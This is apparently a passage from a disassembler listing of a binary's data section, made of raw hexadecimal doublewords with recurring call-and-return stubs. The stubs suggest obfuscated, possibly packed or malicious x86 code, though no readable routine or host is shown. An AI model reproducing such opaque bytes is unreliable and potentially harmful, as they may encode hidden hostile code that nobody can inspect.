		dd 43A90852h, 280FBCFBh, 58150E88h, 81612463h, 89992404h
		dd 9D8B71C3h, 5EA2E5Dh,	320D95FFh, 89F905EAh, 0EDD9E085h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E962EF1Ch, 1EEh, 17850Fh, 10E80000h, 9D000000h
		dd 0CE9EEB77h, 85EE6119h, 2D1C8ED3h, 0F99EC8F7h, 0D8858B5Fh
		dd 6A05EDD9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0A7FBC356h, 0C7D4B737h, 1800h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 1BE83E56h, 9A12F958h, 98EB8166h,	0DCB58B6Ch
		dd 8B05EDD9h, 0EA13319Dh, 0E5858B05h, 6005EA29h, 2391BD89h
		dd 9D8B05EAh, 5EA2935h,	830F61h, 89000000h, 858BF506h
		dd 5EA1629h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	1DC35545h, 41B6AFBFh, 0FEB4F739h, 11E8h, 9C266800h
		dd 21C61574h, 25DA2134h, 0C943D7A2h, 5FF82D68h,	2B61BD31h
		dd 468905EAh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 74549A67h, 0E496CC4Dh, 0ED8D8958h
		dd 9605EA25h, 0DA8B6650h, 2DBD8996h, 0FF05EA17h, 0EDD9D8B5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0EA8F7751h, 187B252Dh, 86A6683Eh, 5F52C55Ah
		dd 59240481h, 663AC47Dh, 8DF32DBFh, 0EDD9E085h,	5E905h
		dd 0E3190000h, 509DBA65h, 7E9h,	60ED5500h, 1499094Ch, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0F8CCC356h, 13E9h, 40076000h, 617301EBh
		dd 2AE897C0h, 8CF76CAh,	0D420B69Ch, 320D95FFh, 6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 225338C3h, 0DA8B9EB6h, 12E8h, 76ED100h, 0F32840CEh
		dd 4C5E7E2Ch, 4C070C2Fh, 8BFAA286h, 0F615BDAh, 85C7D8BFh
		dd 5EA25F5h, 3,	0BD83FD8Ah, 5EDD9E0h, 41840F00h, 66000000h
		dd 0E0B4EF81h, 52E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 34A7E244h, 11E89Fh, 1710000h
		dd 536BE0B9h, 5724DD07h, 0C54C5C37h, 5F085EE2h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 0EA118DBDh
		dd 21B58905h, 6A05EA2Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 49ECC353h, 0ACDEC0D2h
		dd 568D120Ah, 2E3D9D0Bh, 0F5B05EAh, 0BD83F9BFh,	5EA25F5h
		dd 82850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F89AC356h,	0D9E0BD83h
		dd 0F0005EDh, 45884h, 12BB6600h, 0E0B5FFAAh, 6A05EDD9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 2D73C353h, 63A5C3D4h, 128D95FFh, 6A05EAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0ABD475C3h, 607826FCh, 2CC1B533h, 0BD8905EAh, 5EA2F51h
		dd 0D4B58B61h, 8905EDD9h, 0EA1C85BDh, 106C705h,	6A000100h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0B109C353h, 0E92CEBFDh, 12h, 1CC88515h, 24CD2547h
		dd 0AAD64287h, 0B6296467h, 8166440Bh, 969414CFh, 13E9h
		dd 66924400h, 9A4ECE8Dh, 9AD28B65h, 0ACD2BDD1h,	0D5AAACFEh
		dd 0F98B6650h, 57006A96h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 4C2658D2h, 448DD497h
		dd 5BF88B51h, 0D9E0B5FFh, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B3B858C3h, 0BD01C247h
		dd 5EA06B1h, 326995FFh,	6A05EAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 9748AFC3h, 0EC8531A0h
		dd 14E9C2h, 39260000h, 56168C9Eh, 93A20957h, 15ECE685h
		dd 0CD5A4E8Eh, 0B58B9E93h, 5EDD9D4h, 858BDF8Bh,	5EA0881h
		dd 2E398D89h, 868905EAh, 0C4h, 0ADD958Bh
		dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		db 2 dup(0)
word_594F42	dw 5343h		; DATA XREF: ___:off_438138o
		dd 0EFCB69C3h, 83CC179Bh, 6A04C2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BD89B8C3h, 5EA2939h
		dd 8B205089h, 0EA129DBDh, 67858D05h, 6A05EDEBh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 5448C351h, 3BCAA122h, 0E59D890Fh, 8905EA05h,	0B886h
		dd 69BD8900h, 6A05EA2Ch, 0D9BF0F00h, 0D9E0B5FFh, 6A05EDh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 16E5B4C3h, 163D95FFh, 6A05EAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0F89CCAC3h, 0E6BF727Eh
		dd 9631C570h, 0B8A0F60h, 0E9000000h, 6,	0EE801345h, 12E9D9F6h
		dd 0CD000000h, 0E0D719BCh, 65C4AD99h, 0D26EE275h, 0DBDF157Fh
		dd 665061CFh, 6A96DA8Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 215AC355h, 81BD8900h
		dd 8105EA14h, 6AC93AEFh, 0E0B5FF73h, 6A05EDD9h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 8C6FC356h, 8B663691h, 0A995FFFBh, 8305EA15h,	0EA115DBDh
		dd 840F0005h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C35343h, 16E60F5Ah, 870F1F38h, 3, 50DEBF0Fh
		dd 0FE8h, 9A2CCF00h, 0B999442Bh, 0BB64E988h, 6687C846h
		dd 0FE3CBB66h, 2434895Fh, 58C78166h, 0E0B5FF6Eh, 6A05EDD9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 2C21C355h, 4B32C424h, 8D9D33C9h, 6605EA0Bh
		dd 95FFDE8Bh, 5EA1CC9h,	8CD8D89h, 0B5FF05EAh, 5EDD9E0h
		dd 9770CB81h, 95FF3B7Dh, 5EA230Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 1EC35646h, 4DE5F59Fh, 9D2B7433h
		dd 5EA09D1h, 631BD83h, 0F0205EAh, 6384h, 12E900h, 42370000h
		dd 0F6781626h, 25E66C73h, 417ADE66h, 0B1465295h, 0C95858Bh
		dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B42AEAC3h, 4A26063h, 0C6FCF0DFh,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 8592FDC3h, 97D85C7h,	5EAh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7225EAC3h
		dd 31B38189h, 0EA0BC585h, 0F31DE905h, 6AFFFFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 9F0F89C3h, 9E9h, 0B25D7400h,	0F42F84F8h, 0C18BBBC9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 56C35646h
		dd 2EF7E3A3h, 298D858Dh, 0A1BF05EAh, 502F286Dh,	48997B7h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 6D16D5AAh, 0B784BA32h, 0F9006A6Ch, 9D0B006Ah
		dd 5EA2079h, 496D858Dh,	6A05EFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 2AB12CC3h, 0F605DA9h
		dd 8166F2B7h, 6172E5D1h, 83F88B66h, 0BE805C0h, 0E0000000h
		dd 1EF9CCDEh, 0FE86E03Eh, 9D8B04C6h, 5EA3285h, 0E852905Bh
		dd 10h,	13A3C627h, 5C8487C6h, 5BBD10CBh, 0A984524h, 5F5B5F57h
		dd 90D98B50h, 3880Fh, 8B660000h, 6A006AD8h, 0FF44B300h
		dd 0EA23E995h, 0D1B58905h, 0F05EA05h, 8D8DDFBFh, 5EDD89Dh
		dd 2870Fh, 30B30000h, 23D1B501h, 0D1FF05EAh, 75BFA4B3h
		dd 8319BEDDh, 0EA02D1BDh, 850F0105h, 8Eh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0A1C35242h, 0BA526115h
		dd 6A2F7A24h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 36D2527h,	0EA0981BDh, 4895005h, 0FFDE8B24h
		dd 0EA163D95h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0D7816641h, 13E9A114h
		dd 34000000h, 0A2986D74h, 0C3D1A80Ch, 0BB0D6C50h, 5FD72E09h
		dd 0CEE9575Fh, 0E800000Dh, 0
		dd 77ED815Dh, 6A05EF49h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0D6CBC353h,	0A64EC281h
		dd 80CF9A58h, 0BB66A1DFh, 858D4737h, 5EDC387h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5CC35242h, 9B32F482h
		dd 35BD8B48h, 9005EA07h, 0C244BB66h, 9055B350h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E4C35242h, 0A4A134A1h
		dd 53C924Ah, 6820FD8h, 89000000h, 0EA11099Dh, 35FF6405h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6CC35646h
		dd 0F78111F7h, 1C8F0903h, 258964h, 0F000000h, 185h, 9D8BF800h
		dd 5EA13D1h, 1C4985FFh,	6A05EAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 87991AC3h, 0F1858921h
		dd 6A05EA1Eh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 23345BEDh, 0F88B664Bh, 0B5FFD88Bh
		dd 5EA0D95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0E3C35242h, 53E41F5Eh, 56392Eh,	29F98509h, 95FF05EAh
		dd 5EA1449h, 107E9h, 0F00B000h,	70E6DAB7h, 1A7D9D8Bh, 71E405EAh
		dd 29819D8Bh, 613C05EAh, 0EA830Fh, 85890000h, 5EA1565h
		dd 66C8B60Fh, 840FDF8Bh, 0Eh, 9E9h, 6842D900h, 86C80F5Ch
		dd 6BA9816h, 8B000000h,	0EA0BF99Dh, 0A9B50905h,	8B05EA13h
		dd 119D8BC1h, 0C105EA0Ch, 11E904E8h, 0B4000000h, 7C8A89EDh
		dd 10819424h, 0DFE46BD3h, 3191E110h, 89E2F766h,	0EA10559Dh
		dd 8BC82B05h, 8BD18BDEh, 3E4ABFFBh, 7DE9195Eh, 0E8000000h
		dd 0Fh,	0CC21EE45h, 71CE262Ah, 35D3FAD3h, 891DDF07h, 0EA1DD1B5h
		dd 8BFC5B05h, 5F4C4C85h, 7C08350h, 0C327D381h, 0C083763Bh
		dd 11BD8B00h, 3B05EA07h, 0E830FD0h, 0F000000h, 39E9D9B7h
		dd 1000000h, 0EA202DBDh, 0FF8D8B05h, 1FFFFFFh, 0EA23D5B5h
		dd 1E18305h, 1E840Fh, 0F600000h, 0C38BC2B7h, 0FFA58361h
		dd 0FEFFFFFFh, 49EB8166h, 4C958919h, 0E9505F4Ch, 0
		dd 0C2F4B58Dh, 6A05EEh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 844FC0C3h, 83DD7464h, 6A006AE7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0CA11C353h, 7D09580Bh, 0F7C13A1h,	689h, 71858900h
		dd 0FF05EA32h, 0EA101595h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 2B69DB71h
		dd 8BCCDC2Dh, 0EA15559Dh, 0EFEB905h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0FF98FC3h
		dd 15958950h, 5F05EA13h, 0BBFCE183h, 22738ADCh,	11E9FCh
		dd 1B890000h, 5D05AB0Bh, 0E74499D9h, 0A6AFEF5Fh, 0B88D77AFh
		dd 0
		dd 0C1858B60h, 2B05EA2Ah, 0EA0C5595h, 0D22B6105h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5EC35242h, 76EE00BCh
		dd 0CE9840Bh, 0B000000h, 7A758D97h, 59C11736h, 2342DC7Bh
		dd 0EA1E89BDh, 0C233AD05h, 0D003E8D1h, 7504E983h, 56006AF4h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0E66D82D7h, 0F2256A44h, 8B66EDB8h, 880DFAh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F9B697C3h, 0F330F5D0h, 8B663B34h, 0DD958BFAh, 6A05EA0Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F3BDC353h, 0C7956493h, 8D8BF932h, 5EA0ACDh
		dd 0E1EDBF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 23AEFCC3h, 0FAB70F05h, 1CC59D03h,	6A05EAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0D3BB9AC3h, 0F4A517Dh, 283h,	83D0B700h, 0EA0819BDh
		dd 840F0005h, 92h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0C4C35747h, 19E98E9h,	0EA14CD85h, 0B1B58905h
		dd 0B805EA07h, 0
		dd 0CBA0DB81h, 8D8D3E4Bh, 5EA4C21h, 0BE860h, 0D9520000h
		dd 0D59723A0h, 4E59FAF1h, 8F0FF3h, 5B000000h, 0D59D2B60h
		dd 6105EA06h, 6AE1FF61h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 32B2C353h, 16B9EF99h
		dd 996E4B99h, 8870Fh, 870F0000h, 2, 0BD835B50h,	5EA25F5h
		dd 62840F00h, 60000004h, 3161BD8Bh, 61FC05EAh, 25F5BD83h
		dd 0F0105EAh, 46784h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 71B3E298h, 0BE8261Eh
		dd 0F7000000h, 0C670F1ABh, 0D1662E96h, 8B667851h, 0BD895BF8h
		dd 5EA0D51h, 25F5BD83h,	0F0305EAh, 3E986h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 343B1B7h, 0F55377BCh, 8C66605Fh, 4E180D9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A4C35141h, 0E0AC5C97h
		dd 1E860064h, 2975BD09h, 0C90A05EAh, 167840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 27A5FFC3h, 0CCCC6300h, 0BD8B5067h, 5EA2505h,	6185895Fh
		dd 8B05EA0Fh, 0EA162985h, 3310B705h, 0EA153585h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 25B356AAh, 50FC2BA1h, 89DA8B66h, 9D332404h, 5EA1111h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0C5D593C3h, 0A8DDE311h, 14E9h, 0AA46100h
		dd 0D4A184FAh, 0B6F15927h, 0D80D83A3h, 940BE6DAh, 4E8FEh
		dd 3FF0000h, 0BE9001Fh,	0BC000000h, 11F3FB98h, 6A1E0D21h
		dd 0E9500A07h, 12h, 1486E67Fh, 10A3FDB9h, 41DD92A5h, 24A33116h
		dd 448B948Dh, 18B70424h, 0FE8B008Bh, 4244489h, 850Fh, 6A580000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 9B41C352h, 668BFFB1h, 9D23F88Bh, 5EA0351h
		dd 320D95FFh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 89255EC3h, 0EDD9E085h, 9E805h, 0C3460000h
		dd 0D326B9DFh, 33D689A1h, 0EA330D9Dh, 0BF665F05h, 0C9E97329h
		dd 8B000001h, 0EA1CDD9Dh, 0D8858B05h, 3305EDD9h, 0EA0A299Dh
		dd 1800C705h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5C7AC351h, 0B1A725E1h
		dd 15218589h, 0BF6605EAh, 0B58B10ECh, 5EDD9DCh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0E4C35242h, 0F0166E3Eh
		dd 816652A7h, 8B23A6E7h, 0EA29E585h, 0FA8B6605h, 7E80689h
		dd 81000000h, 40EA5856h, 8531C1B4h, 5EA31B5h, 29858B5Bh
		dd 0F05EA16h, 38Fh, 5FF85700h, 1044689h, 0EA17E99Dh, 7E95005h
		dd 87000000h, 90B1D280h, 3489DA92h, 39858924h, 0FF05EA2Fh
		dd 0EDD9D8B5h, 0F2B46005h, 0C5E28166h, 4E861F1h, 0FF000000h
		dd 60001F03h, 797AB966h, 11E9h,	0A21CB500h, 730097A8h
		dd 7783EDB6h, 35304701h, 5061EE66h, 8BFA8B66h, 0BB042444h
		dd 309D373h, 5250008Bh,	0CE9h, 29D2A800h, 4C94A1C4h, 3214E11Dh
		dd 0F310FFBh, 286h, 5A5B5600h, 24448958h, 48C0F04h, 66000000h
		dd 588E6ABBh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	0B5C35040h, 6510E36Eh, 9D8BF289h, 5EA2051h, 0D9E0858Dh
		dd 6A05EDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 1A3CB9C3h, 0A221F6Ch, 0E8B7F108h,	9, 0C06F4194h
		dd 7B0BCB95h, 0DEB70FF6h, 850F505Bh, 5,	40FBB7BBh, 24048957h
		dd 0FFFEB70Fh, 0EA320D95h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 916F9890h
		dd 95895261h, 5EA00E1h,	0F585C75Bh, 305EA25h, 9000000h
		dd 0EA1B6185h, 0E0BD8305h, 5EDD9h, 3C840Fh, 7E90000h, 65000000h
		dd 76DE8A23h, 46E918BBh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0A98DC353h
		dd 0B2DA8160h, 8B4C48DCh, 0EA16E985h, 30506105h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 619D8BC0h
		dd 6005EA10h, 10E9h, 736CCE00h,	0ABDDCCE2h, 0DF48E7A7h
		dd 0E256BB54h, 65BD8911h, 6105EA09h, 8C0Fh, 0BD830000h
		dd 5EA25F5h, 0AF850F03h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0DEBDC351h
		dd 0F155FE07h, 9B6A7Ah,	2515B589h, 858905EAh, 5EA2325h
		dd 0D9E0BD83h, 0F0005EDh, 37184h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 5D9D8990h
		dd 6605EA02h, 0D77AD781h, 0D9E0B5FFh, 0BD8905EDh, 5EA0D6Dh
		dd 128D95FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0ACA6DAC3h, 81666A72h, 8B5653DBh
		dd 0EDD9D4B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0F2D38155h, 0C744634Eh
		dd 1000106h, 0E7816600h, 52968213h, 13E9h, 79376A00h, 13AF42F6h
		dd 0C56A6452h, 7A964A70h, 0BD86F1C9h, 8B66505Bh, 9D8B96FAh
		dd 5EA123Dh, 0D9E0B5FFh, 0B52905EDh, 5EA0CE9h, 326995FFh
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0CE2733C3h, 0D2C5FC20h, 8BFBB70Fh, 0EDD9D4B5h
		dd 0D9BD3305h, 8B05EA1Bh, 0EA088185h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 7DF2A8D7h, 8B1EBCDCh, 0E853023Dh, 8,	366A9772h, 0C683C607h
		dd 112D8D29h, 5F5F05EAh, 0C48689h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E00C7AC3h
		dd 9D25D784h, 0E9FA5591h, 5, 20DFB426h,	0DD958BA7h, 6A05EA0Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0FC7FC350h, 5C22EBAh, 11DBD8Bh, 0C28305EAh
		dd 71858904h, 8905EA12h, 858D2050h, 5EDEB67h, 0B88689h
		dd 0BF0F0000h, 6860FF8h, 8B000000h, 0EA3095BDh,	29006A05h
		dd 0EA102185h, 0E0B5FF05h, 8905EDD9h, 0EA06658Dh, 3D95FF05h
		dd 0BF05EA16h, 6E09C985h, 0C88A6096h, 53575061h, 0AE8h
		dd 47C6A00h, 22E3E081h,	5FE624A6h, 66965F5Bh, 0B5FFDA8Bh
		dd 5EDD9E0h, 2325BD8Bh,	9D8B05EAh, 5EA2E2Dh, 15A995FFh
		dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 31E4A3C3h, 0EA1C4DB5h, 0BD78005h,	115DBD83h
		dd 0F0005EAh, 6584h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0B942106Ah, 851FC5E3h
		dd 8D01008Ah, 5EA3139h,	2BB76050h, 0BE8h, 0EF368200h
		dd 0F0DEBC1Ch, 0B3E37Fh, 615ADD8Ah, 6A243489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 4EE6C357h, 0B5FF9742h, 5EDD9E0h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 8C35747h, 1ED1BD76h, 0A6A51C86h
		dd 0C995FF25h, 8105EA1Ch, 33EA1EDBh, 0E0B5FF05h, 6A05EDD9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 1158C356h, 9E93698h, 0D9000000h, 9FFBB422h
		dd 256E1F88h, 230D95FFh, 8B6605EAh, 31BD83F9h, 205EA06h
		dd 30840Fh, 0BF0F0000h,	95858BFAh, 8B05EA0Ch, 0EA130D9Dh
		dd 0C605h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	37C35242h, 85C7D0D1h, 5EA097Dh,	0
		dd 0A35BD8Bh, 50E905EAh, 60FFFFF3h, 0EE1B58Bh, 8B6105EAh
		dd 0F5BD89C1h, 8B05EA2Ah, 0EA0B559Dh, 8D858D05h, 3105EA29h
		dd 0EA0F1D9Dh, 6800F05h, 8B000000h, 0EA0C459Dh,	0BB665005h
		dd 489FED2h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 6A006A23h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0E83AC356h,	3C98E737h
		dd 8B9FE34Bh, 8B006AFBh, 0EA2A1DBDh, 0FD9D8B05h, 8D05EA0Eh
		dd 0EF590485h, 89BD8B05h, 8305EA00h, 6A05C0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0C121FDC3h
		dd 0BD9D8B03h, 5005EA11h, 0CE8h, 0B8117800h, 9B42EA02h
		dd 6B469CB8h, 4895BC9h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8F0FD158h, 6, 2619D89h
		dd 858905EAh, 5EA1D9Dh,	0B70F006Ah, 6A006ADBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0A641C353h, 410E5CD9h, 95FF5D21h, 5EA23E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 91C35141h, 0A3069DF8h
		dd 0CF6B0CD3h, 2CF58589h, 9D8905EAh, 5EA002Dh, 0D89D8D8Dh
		dd 8B6605EDh, 12E9F9h, 2A1C0000h, 7C573356h, 0E41F5EE3h
		dd 56392E53h, 53E2F800h, 83F8D1FFh, 0EA02D1BDh,	850F0105h
		dd 49h,	5A5BD2Bh, 26A05EAh, 4DC38166h, 8AB790C2h, 905F5250h
		dd 1295B529h, 950105EAh, 5EA31A9h, 163D95FFh, 6A05EAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 893C13C3h, 0EA09BD9Dh, 0DF3E905h, 0E80000h, 5D000000h
		dd 590EED81h, 6A05EFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 52A0A2C3h, 89573FA3h, 0EA2AC1BDh
		dd 8D895F05h, 5EA11ADh,	3319D8Bh, 6A05EAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0E85CB3C3h
		dd 92E38179h, 8D74F498h, 0EDC38785h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0D49B9EAEh
		dd 16870Fh, 11E90000h, 75000000h, 8E1694C3h, 83F99B09h
		dd 554417E3h, 202857BFh, 7E890h, 4CFA0000h, 2F31EA0Bh
		dd 5FFE8ADBh, 0F525050h, 5AFA8B31h, 6E89058h, 0F9000000h
		dd 22BB1079h, 0FD9531CEh, 5B05EA05h, 35FF64h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 3F79C356h, 0B1A86CDDh, 0BDBD8B4Eh, 6405EA00h
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 91DFABC3h, 0BCB80A7h, 1C4985FFh
		dd 0F98B05EAh, 25559D8Bh, 0FF6A05EAh, 8050F7B7h, 0FF5BC2CFh
		dd 0EA3151B5h, 4995FF05h, 0E905EA14h, 150h, 89DFBF0Fh
		dd 0EA25D585h, 6600B005h, 55CC781h, 0C38170E6h,	47BF543Dh
		dd 8FDBD8Bh, 71E405EAh,	12199D2Bh, 613C05EAh, 122830Fh
		dd 8D890000h, 5EA2EC9h,	50C8B60Fh, 1565FF8h, 0EA31699Dh
		dd 6BA5B05h, 8B000000h,	0EA1D51BDh, 0BA666005h,	8C0F8D7Fh
		dd 4, 0D774B966h, 8BC18B61h, 0FE9F8h, 698B0000h, 0BF8F72FBh
		dd 49D03DA1h, 0E690A55Eh, 4E8C141h, 17118D89h, 0F76605EAh
		dd 0F8BF0FE2h, 830FC82Bh, 6, 16B58D29h,	0D18B05EAh, 5E8h
		dd 9AA37F00h, 95894718h, 5EA31A9h, 0A6E95Fh, 0BD330000h
		dd 5EA0D21h, 554C858Bh,	0DC8A4947h, 6007C083h, 0EFDF8166h
		dd 0BE83Eh, 88F80000h, 0C01150FEh, 87548BE7h, 18D89B2h
		dd 5805EA10h, 0C08361h,	3BFFB70Fh, 2E830FD0h, 60000000h
		dd 1850Fh, 8BF90000h, 0EA303D85h, 55E96105h, 0F000000h
